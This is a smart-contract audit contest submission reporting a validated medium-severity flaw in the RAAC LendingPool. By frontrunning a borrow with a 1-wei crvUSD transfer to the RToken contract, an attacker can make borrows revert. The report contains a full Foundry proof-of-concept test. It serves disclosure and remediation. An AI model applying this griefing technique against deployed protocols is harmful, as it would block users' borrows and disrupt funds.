Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: medium
Valid

Attacker can DoS borrows

Summary

When a user wants to borrow some crvUSD token he must have provided enough collateral beforehand, then he must call LendingPool::borrow(), this function will transfer the required amount from the RToken contract to the borrower. However an attacker can directly transfer crvUSD to the RToken contract and DoS the borrows.

Vulnerability Details

Let's look at the borrow function:

function borrow(uint256 amount) external nonReentrant whenNotPaused onlyValidAmount(amount) {
...
// Transfer borrowed amount to user
IRToken(reserve.reserveRTokenAddress).transferAsset(msg.sender, amount);
user.scaledDebtBalance += scaledAmount;
// reserve.totalUsage += amount;
reserve.totalUsage = newTotalSupply;
// Update liquidity and interest rates
ReserveLibrary.updateInterestRatesAndLiquidity(reserve, rateData, 0, amount);
// Rebalance liquidity after borrowing
_rebalanceLiquidity();
...

We can see that the selected amount is transfered to borrower and then the internal _rebalanceLiquidity() is called:

function _rebalanceLiquidity() internal {
// if curve vault is not set, do nothing
if (address(curveVault) == address(0)) {
return;
}
uint256 totalDeposits = reserve.totalLiquidity; // Total liquidity in the system
uint256 desiredBuffer = totalDeposits.percentMul(liquidityBufferRatio);
uint256 currentBuffer = IERC20(reserve.reserveAssetAddress).balanceOf(reserve.reserveRTokenAddress);
if (currentBuffer > desiredBuffer) {
uint256 excess = currentBuffer - desiredBuffer;
// Deposit excess into the Curve vault
_depositIntoVault(excess);
} else if (currentBuffer < desiredBuffer) {
uint256 shortage = desiredBuffer - currentBuffer;
// Withdraw shortage from the Curve vault
_withdrawFromVault(shortage);
}
}

Here reserve.totalLiquidity will be decreased by the wanted amount, link here, based on this value will depend the desired buffer and the current buffer is the RToken's crvUSD reserves.

Now consider the following scenario:

  1. Lender provides liquidity, deposits 1000e18

    • reserve.totalLiquidity will increment by 1000e18, link here

  2. Bob deposits collateral worth 2000e18 and borrows 1000e18 tokens

  3. So totalLiquidity will be 0

  4. desiredBuffer = 0 * liquidationThreshol (80% == 8000) = 0

  5. currentBuffer will be 0, because the assets are transfered before _rebalanceLiquidity is called

  6. Until here everything is fine, but if an attacker frontruns the borrow tx and directly deposits 1 wei to the RToken contract

  7. currentBuffer will be 1, that means there will be excess amount of 1 and it will try to deposit it to the curve vault

  8. However the excess amount will be transfered from the LendingPool, but this contract doesn't hold any balances, because when lenders are providing liquidity the crvUSD tokens are directly transfered from lender to RToken contract, the lending pool only acts as an intermediary

  9. Hence the call will revert

Here is a coded PoC in Foundry demonstrating the issue:

  • Setup:

  1. Install Foundry

  2. Run forge init --force in the terminal

  3. Run forge test --mt testX in the terminal

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test, console2} from "../lib/forge-std/src/Test.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {LendingPool} from "../contracts/core/pools/LendingPool/LendingPool.sol";
import {ILendingPool} from "../contracts/interfaces/core/pools/LendingPool/ILendingPool.sol";
import {RToken} from "../contracts/core/tokens/RToken.sol";
import {DebtToken} from "../contracts/core/tokens/DebtToken.sol";
import {RAACHousePrices} from "../contracts/core/primitives/RAACHousePrices.sol";
import {RAACNFT} from "../contracts/core/tokens/RAACNFT.sol";
import {IRAACNFT} from "../contracts/interfaces/core/tokens/IRAACNFT.sol";
import {WadRayMath} from "../contracts/libraries/math/WadRayMath.sol";
import {ICurveCrvUSDVault} from "../contracts/interfaces/curve/ICurveCrvUSDVault.sol";
contract CrvUSD is IERC20, ERC20 {
constructor() ERC20("crvUSD", "CRVUSD") {}
function mint(address to, uint256 amount) public {
_mint(to, amount);
}
}
contract MockCurveVault is ICurveCrvUSDVault {
CrvUSD crvUSD;
constructor(CrvUSD _crvUSD) {
crvUSD = _crvUSD;
}
function deposit(uint256 assets, address receiver) external returns (uint256 shares) {
crvUSD.transferFrom(msg.sender, address(this), assets);
}
function withdraw(uint256 assets, address receiver, address owner, uint256 maxLoss, address[] calldata strategies) external returns (uint256 shares) {}
function asset() external view returns (address) {}
function totalAssets() external view returns (uint256) {}
function pricePerShare() external view returns (uint256) {}
function totalIdle() external view returns (uint256) {}
function totalDebt() external view returns (uint256) {}
function isShutdown() external view returns (bool) {}
}
contract Tester is Test {
LendingPool lendingPool;
CrvUSD crvUSD;
RToken rToken;
DebtToken debtToken;
RAACHousePrices housePrices;
RAACNFT nft;
MockCurveVault vault;
uint256 initialPrimeRate = 1e26;
address owner = makeAddr("owner");
address bob = makeAddr("bob");
address lender = makeAddr("lender");
function setUp() external {
vm.startPrank(owner);
crvUSD = new CrvUSD();
vault = new MockCurveVault(crvUSD);
rToken = new RToken("RToken", "RT", owner, address(crvUSD));
debtToken = new DebtToken("DebtToken", "DT", owner);
housePrices = new RAACHousePrices(owner);
nft = new RAACNFT(address(crvUSD), address(housePrices), owner);
lendingPool = new LendingPool(
address(crvUSD),
address(rToken),
address(debtToken),
address(nft),
address(housePrices),
initialPrimeRate
);
housePrices.setOracle(owner); // owner is set as oracle for simplicity
housePrices.setHousePrice(1, 2000e18); // tokenID = 1 will cost 2000e18 crvUSD
debtToken.setReservePool(address(lendingPool));
rToken.setReservePool(address(lendingPool));
lendingPool.setCurveVault(address(vault));
vm.stopPrank();
// Lender provides liquidity
vm.startPrank(lender);
crvUSD.mint(lender, 8000e18);
crvUSD.transfer(address(lendingPool), 800e18); // directly transfering some amount so it can fix other issue mentioned in separate report
crvUSD.approve(address(lendingPool), type(uint256).max);
lendingPool.deposit(1000e18);
vm.stopPrank();
// Bob setup
vm.startPrank(bob);
crvUSD.mint(bob, 2000e18);
crvUSD.approve(address(lendingPool), type(uint256).max);
crvUSD.approve(address(nft), type(uint256).max);
nft.mint(1, 2000e18);
nft.setApprovalForAll(address(lendingPool), true);
vm.stopPrank();
}
function testX() public {
// Attacker setup
address attacker = makeAddr("attacker");
crvUSD.mint(attacker, 1e18);
vm.prank(attacker);
crvUSD.transfer(address(rToken), 1); // transfers 1 wei to Rtoken before Bob borrows
vm.startPrank(bob);
lendingPool.depositNFT(1);
vm.expectRevert(); // remove this line and run the test again, and see that it reverts with insufficient bal error with 1 wei needed amount
lendingPool.borrow(1000e18);
vm.stopPrank();
}
}

Impact

Medium, an attacker can DoS the borrows

Tools Used

Manual Review

Recommendations

Refactor the logic so that LendingPool also holds some tokens

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::_depositIntoVault and _withdrawFromVault don't transfer tokens between RToken and LendingPool, breaking Curve vault interactions

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::_depositIntoVault and _withdrawFromVault don't transfer tokens between RToken and LendingPool, breaking Curve vault interactions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!